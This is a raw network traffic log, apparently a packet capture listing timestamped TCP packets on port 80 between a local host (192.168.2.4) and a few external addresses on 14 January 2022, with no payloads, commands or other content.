Jan 14, 2022 09:26:02.553323984 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.553354979 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:02.553385019 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:02.553400040 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.553411007 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:02.553564072 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.553580999 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.553736925 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.553750038 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.553903103 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.554012060 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.554028988 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.554174900 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.554193020 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.554347038 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.554361105 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.554519892 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.554536104 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.554696083 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.554712057 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.554811954 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.554923058 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.555015087 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.555155993 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.555171967 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.555325031 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.555342913 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.555500031 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.555514097 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.555666924 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.555684090 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.555844069 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.555856943 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.556025028 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.556041002 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.556189060 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.556205034 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.556360006 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.556375980 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.561531067 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:02.584238052 CET	49889	80	192.168.2.4	185.163.45.70
Jan 14, 2022 09:26:02.588033915 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.588038921 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:02.588170052 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.588366985 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:02.588385105 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.588558912 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.588573933 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.588779926 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.588794947 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.589030027 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.589035034 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.589343071 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.589545965 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.589621067 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.589637995 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.589840889 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.589854956 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.590050936 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.590066910 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.590245008 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.590260029 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.590421915 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.590439081 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.590604067 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.590616941 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.590780973 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.590797901 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.590955973 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.590970993 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.591135025 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.591151953 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.591319084 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.591332912 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.591500998 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.591520071 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.591676950 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.591695070 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.591865063 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.591885090 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.592053890 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.592073917 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.592228889 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.592248917 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.592448950 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.592466116 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.592643976 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:02.592674971 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:02.593128920 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:02.593158007 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:02.599977016 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:02.601907969 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.601999044 CET	80	49904	8.209.70.0	192.168.2.4
Jan 14, 2022 09:26:02.602253914 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.602268934 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.602437019 CET	49904	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:26:02.602469921 CET	49904	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:26:02.603094101 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.603112936 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.603271961 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.603290081 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.603436947 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.603451967 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.603604078 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.603621960 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.603774071 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.603790045 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.603888988 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.604053974 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.604068995 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.604234934 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.604253054 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.604419947 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.604435921 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.604593039 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.604610920 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.604777098 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.604793072 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.604959965 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.604978085 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.605146885 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.605160952 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.605305910 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.605324030 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.605480909 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.605496883 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.605650902 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.605669975 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.605818987 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.605834961 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.605984926 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.606004000 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.606153011 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.606168985 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.606317997 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.606336117 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.606492996 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.606506109 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.606654882 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.606673002 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.606823921 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.606841087 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.606996059 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.607012987 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.607222080 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.607677937 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.607695103 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.607929945 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.607950926 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.608051062 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.608212948 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.608362913 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.608452082 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.608671904 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.610156059 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.610505104 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.610518932 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.610523939 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.610686064 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.610702991 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.610868931 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.610883951 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.611032009 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.611140966 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.611159086 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.611314058 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.611329079 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.611480951 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.611495018 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.611654043 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.611676931 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.611777067 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.611918926 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.611934900 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.612085104 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.612098932 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.612361908 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.612377882 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.612421036 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.612426996 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.612546921 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.612682104 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.612698078 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.612879038 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.612895012 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.613046885 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.613059998 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.613225937 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.613241911 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.613502026 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.613518000 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.613707066 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.613723040 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.613893986 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.613908052 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.614084005 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.614099979 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.614192963 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.614372969 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.614389896 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.619860888 CET	80	49904	8.209.70.0	192.168.2.4
Jan 14, 2022 09:26:02.625972033 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:02.634510994 CET	49906	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:26:02.636056900 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.636416912 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.636437893 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.636642933 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.636665106 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.636857986 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.636871099 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.637078047 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.637094975 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.637291908 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.637310028 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.637414932 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.637567997 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.637756109 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.637773037 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.637893915 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.638098001 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.638114929 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.638310909 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.638324976 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.638533115 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.638549089 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.638750076 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.638766050 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.639000893 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.639017105 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.639216900 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.639226913 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.639441013 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.639453888 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.639655113 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.639672995 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.639874935 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.639889956 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.640100956 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.640119076 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.640279055 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.640291929 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.640450954 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.640467882 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.640630960 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.640647888 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.640819073 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.640839100 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.640990019 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.641004086 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.641154051 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.641170979 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.641320944 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.641335964 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.641489029 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.641508102 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.641655922 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.641670942 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.641819000 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.641844988 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.641994953 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.642010927 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.642225981 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.642244101 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.642384052 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.642398119 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.642559052 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.642581940 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.642731905 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.642750025 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.642906904 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.642924070 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.643162966 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.643182039 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.643188953 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.643345118 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.643359900 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.643532991 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.643604040 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.643616915 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.643728018 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.643903017 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.643920898 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.644248962 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.644407034 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.644426107 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.644594908 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.644613981 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.644722939 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.644818068 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.644912958 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.645005941 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.645091057 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.645179987 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.645315886 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.645332098 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.645490885 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.645505905 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.645603895 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.645757914 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.645773888 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.645924091 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.645945072 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.646102905 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.646121025 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.646276951 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.646291971 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.646450996 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.646469116 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.650832891 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:02.650859118 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:02.650938988 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:02.651844025 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:02.651874065 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:02.651906967 CET	80	49906	8.209.70.0	192.168.2.4
Jan 14, 2022 09:26:02.652086020 CET	49906	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:26:02.652128935 CET	49906	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:26:02.653414011 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:02.653436899 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:02.664146900 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.664489985 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.664588928 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.664675951 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.664774895 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.664791107 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.664894104 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.665050983 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.665069103 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.665226936 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.665245056 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.665401936 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.665417910 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.665575981 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.665591002 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.665750027 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.665759087 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.665762901 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:02.665925980 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.665946007 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.666440010 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:02.668863058 CET	80	49891	185.215.113.35	192.168.2.4
